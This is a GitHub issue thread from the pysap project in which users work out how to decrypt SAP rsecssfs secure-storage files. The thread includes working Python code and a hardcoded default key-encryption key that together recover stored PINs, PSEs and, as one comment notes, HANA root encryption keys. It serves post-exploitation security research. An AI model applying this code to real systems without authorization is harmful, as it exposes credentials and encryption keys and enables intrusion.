OWASP / pysap

pysap is an open source Python library that provides modules for crafting and sending packets using SAP's NI, Diag, Enqueue, Router, MS, SNC, IGS, RFC and HDB protocols.
https://owasp.org/www-project-core-business-application-security/
GNU General Public License v2.0
220 stars 61 forks source link

Possible SSFS parsing issues #70

Closed gvb84 closed 1 year ago

gvb84 commented 1 year ago

I've had success decrypting leaked SSFS files just fine based on the documentation. Think data managed by hdbuserstore. However I never managed to do this properly for classic rsecssfs files. Nothing I find online makes me think there should be a difference but maybe there is? I've been looking into getting entries with keys like SYSTEM_PKI/PIN and SYSTEM_PKI/PSE decrypted but I cannot make sense of the output I get; just garbled data. For example for SYSTEM_PKI/PIN I get 96 bytes that are seemingly random which does not square with the length of the random PIN that is generated by the SAP HANA binaries upon first use of these entries.

It looks like either one of the following three option:

Just posting this here wondering if someone has a clue on this?

The code I use looks as follows with as input SSFS_SID.DAT and SSFS_SID.KEY grabbed from a system from under /usr/sap/<SID>/SYS/global/security/rsecssfs/:

from pysap.SAPSSFS import *
from pysap.utils.crypto import rsec_decrypt
import logging
logging.basicConfig()
logging.getLogger("pysap.ssfs").setLevel(logging.DEBUG)

with open("SSFS_SID.DAT", "rb") as fd:
    data = fd.read()
ssfs_data = SAPSSFSData(data)

with open("SSFS_SID.KEY", "rb") as fd:
    key = fd.read()
ssfs_key = SAPSSFSKey(key)

keys = set()
for k in ssfs_data.records:
    keys.add(k.key_name.strip())

for key in keys:
    data = ssfs_data.get_value(key, ssfs_key)
    open(key.replace("/", "_")+"2", "wb").write(data)

I then get output that the decrypted payload integrity is False. The outputted If I use rsecssfx I get:

|------------------------------------------------------------------------------------------|
| Record Key (Defunct Version) | Status                        | Time Stamp of Last Update |
|------------------------------------------------------------------------------------------|
| HDB_SERVER/P12PIN            | Encrypted, Value [1]          | CENSORED  UTC |
|------------------------------------------------------------------------------------------|
| SYSTEM_PKI/PIN               | Encrypted, Value [1]          | CENSORED    UTC |
|------------------------------------------------------------------------------------------|
| SYSTEM_PKI/PSE               | Encrypted (binary), Value [1] | CENSORED    UTC |
|------------------------------------------------------------------------------------------|

My main system output for the storage here looks as follows. It is those files that I have been attempting to decrypt:


/hana/shared/<SID>/exe/linuxx86_64/hdb> rsecssfx pf=/usr/sap/<SID>/SYS/profile/<profilename> info
Secure Storage in the File System Management Tool
=================================================

File Locations
--------------
Data File       : /usr/sap/<SID>/SYS/global/security/rsecssfs/data/SSFS_<SID>.DAT (Exists)
Global Key File : /usr/sap/<SID>/SYS/global/security/rsecssfs/key/SSFS_<SID>.KEY (Exists)
Local Key File  : /usr/sap/<SID>/HDB00/sec/SSFS_<SID>.LKY (Does Not Exist)

Encryption Mode
---------------
Global Key Mode : Individual Key (Plain Storage in the File System)
Local Key State : Not Relevant for Global Key Mode

Individual Key Implementation
-----------------------------
Time Stamp : CENSORED
Host Name  : CENSORED
OS-User    : <sid>adm
Source     : Installation or Command Line Tool Invocation

Local Protected Storage (LPS)
-----------------------------
Version     : CommonCryptoLib 8.5.46 ()
Path        : /usr/sap/<SID>/HDB00/exe/libsapcrypto.so
Path Source : Profile Parameter SAPCRYPTOLIB
Capability  : <Not Available>
Info        : Local Protected Storage in CommonCryptoLib (v8.5.46), using fallback protection
codeHorse87 commented 1 year ago

Hi @gvb84 Thanks for reaching out. As far as I know, there should be no difference between SSFS and rsecsffs decryption. Can you name any difference of the systems where it worked and where it didn't work regarding the CommonCryptoLib version and provide the version details if so? Is there any chance you'd be able to do some known plaintext testing such as adding a new entry with rsecssfx and then checking if the plaintext value is the same after decryption?

rstenet commented 1 year ago

Hi all,

There are two flavors of .KEY files. The one of hdbuserstore

vhcala4hci:a4hadm 38> hdbuserstore list
DATA FILE       : /home/a4hadm/.hdb/vhcala4hci/SSFS_HDB.DAT
KEY FILE        : /home/a4hadm/.hdb/vhcala4hci/SSFS_HDB.KEY

which is 92 bytes long

vhcala4hci:a4hadm 40> ls -l /home/a4hadm/.hdb/vhcala4hci/SSFS_HDB.KEY
-rw-r----- 1 a4hadm sapsys 92 Jul 21 08:40 /home/a4hadm/.hdb/vhcala4hci/SSFS_HDB.KEY

and the other of rsecssfx

vhcala4hci:a4hadm 35> rsecssfx info
Secure Storage in the File System Management Tool
=================================================

File Locations
--------------
Data File       : /usr/sap/A4H/SYS/global/security/rsecssfs/data/SSFS_A4H.DAT (Exists)
Global Key File : /usr/sap/A4H/SYS/global/security/rsecssfs/key/SSFS_A4H.KEY (Exists)
Local Key File  : /usr/sap/A4H/SYS/global/security/rsecssfs/key/SSFS_A4H.LKY (Does Not Exist)

which is 187 bytes

vhcala4hci:a4hadm 41> ls -l /usr/sap/A4H/SYS/global/security/rsecssfs/key/SSFS_A4H.KEY
-rw-r--r-- 1 a4hadm sapsys 187 Aug 30 09:35 /usr/sap/A4H/SYS/global/security/rsecssfs/key/SSFS_A4H.KEY

So, for the hdbuserstore SAP didn't bother to encrypt the key and the class SAPSSFSKey just reads it as it is stored unencrypted. The rsecssfx implementation for the key is different. Here the key is stored encrypted.

The .DAT files itself are the same format, one just needs the right key and below is a way how to get it. It was done as Proof of Concept. Propoer implementation in pysap is still needed .

Add this to __init__.py

def rsec_decrypt_key(key_enc):

    kek = "\x9F\x60\xA6\xDD\x7E\x15\x7D\x07\x0C\xC3\x57\x90\x9A\xA2\x90\xE9\x36\x0E\xEE\x47\x2F\xDA\x47\x72"
    kek = [ord(i) for i in kek]
    kek1 = kek[0:8]
    kek2 = kek[8:16]
    kek3 = kek[16:24]
    """ Default Key Encryption Key embedded in rsecssfx/kernel binaries """

    blob = [ord(i) for i in key_enc[:56]]

    last_key_byte = bytearray(key_enc[56:])
    """ Last key byte is computed outside DES decryption """

    cipher = RSECCipher()
    round_1 = cipher.crypt(RSECCipher.MODE_DECODE, blob, kek3, len(blob))
    round_2 = cipher.crypt(RSECCipher.MODE_ENCODE, round_1, kek2, len(round_1))
    round_3 = cipher.crypt(RSECCipher.MODE_DECODE, round_2, kek1, len(round_2))

    t1 = [ord(i) for i in key_enc[48:56]]
    tmp = cipher.crypt(RSECCipher.MODE_ENCODE, t1, kek3, 8)
    last_key_byte = last_key_byte[0]  ^ tmp[0]

    tmp = cipher.crypt(RSECCipher.MODE_ENCODE, round_2[48:56], kek2, 8)
    last_key_byte = last_key_byte ^ tmp[0]

    tmp = cipher.crypt(RSECCipher.MODE_ENCODE, round_2[48:56], kek1, 8)
    last_key_byte = last_key_byte ^ tmp[0]

    return round_3[33:] + [last_key_byte]

in SAPSSFS.py modify

# Custom imports
from pysap.utils.crypto import rsec_decrypt, rsec_decrypt_key

and add

class SAPSSFSKeyE(Packet):
    """SAP SSFS Key (encrypted) file format packet.

    Key file length is 0xbb
    """
    name = "SAP SSFS Encrypted Key"
    fields_desc = [
        StrFixedLenField("preamble", "RSecSSFsKey", 11),
        ByteField("type", None),
        TimestampField("timestamp", None),
        StrFixedLenPaddedField("user", None, 24, padd=" "),
        StrFixedLenPaddedField("host", None, 24, padd=" "),
        # probably kind of check sum or just noise
        StrFixedLenField("unknown", None, 62),
        StrFixedLenField("key_enc", None, 57),
    ]

    @property
    def get_plain_key(self):
        return rsec_decrypt_key(self.key_enc)

Here how to use it.

from pysap.SAPSSFS import *
import logging
logging.basicConfig()

sid = "A4H"
with open("/usr/sap/"+sid+"/SYS/global/security/rsecssfs/key/SSFS_"+sid+".KEY", "rb") as fd:
    key = fd.read()
ssfs_key_e = SAPSSFSKeyE(key)

# create empty ssfs_key object
ssfs_key = SAPSSFSKey()

ssfs_key.key = ''
for x in ssfs_key_e.get_plain_key:
    ssfs_key.key += chr(x)

#ssfs_key.show() is not going to work as other data is missing

with open("/usr/sap/"+sid+"/SYS/global/security/rsecssfs/data/SSFS_"+sid+".DAT", "rb") as fd:
    data = fd.read()
ssfs_data = SAPSSFSData(data)

keys = set()
for k in ssfs_data.records:
    keys.add(k.key_name.strip())

for key in keys:
    data = ssfs_data.get_value(key, ssfs_key)
    open(key.replace("/", "_")+"2", "wb").write(data)
gvb84 commented 1 year ago

I just tested @rstenet's code and it works like a charm. So it was indeed an additional encryption/obfuscation layer happening for apparently rsecssfs only. Thank you so much @rstenet!

Edit: I've reworked the code a bit and put up a PR introducing the SAPSSFSKeyE class. It works transparently so one does not have to do the copying anymore as in the proof of concept. Simply load the key data in the class via ssfs_key = SAPSSFSKeyE(fdata) and then pass that to ssfs_data.get_value(key, ssfs_key) and off you go.

rstenet commented 1 year ago

I know it is working and with this decryption begins the real fun. For example in /usr/sap/<SID>/SYS/global/security/rsecssfs/key/SSFS_<SID>.KEY you find the key for the entries in RSECTAB table. In /hana/shared/<SID>/global/hdb/security/ssfs/SSFS_<SID>.DAT are the HANA root encryption keys.

There is a chance SAP changes the encryption from 3DEES to AES in the future as they did it for AS JAVA recently, but till then enjoy.

martingalloar commented 1 year ago

Thanks @ret5et and @gvb84 for the collaboration to sort this out. Indeed the initial implementation was only focused on the hdbuserstore client keys, but it's great to see that adding support for the additional file types was not that hard. This will enable the evaluation of additional post-exploitation scenarios if the keys then are exposed.

I'll take a look at the pull request and merge accordingly!

rstenet commented 1 year ago

Thanks @ret5et and @gvb84 for the collaboration to sort this out. Indeed the initial implementation was only focused on the hdbuserstore client keys, but it's great to see that adding support for the additional file types was not that hard. This will enable the evaluation of additional post-exploitation scenarios if the keys then are exposed.

I'll take a look at the pull request and merge accordingly!

it was not Dmitry Yudin (ret5et) even if the names look similar

martingalloar commented 1 year ago

Oh totally my bad! (I think the GitHub tab completer didn't help!)

Kudos go totally to @rstenet and @gvb84 for this one 😄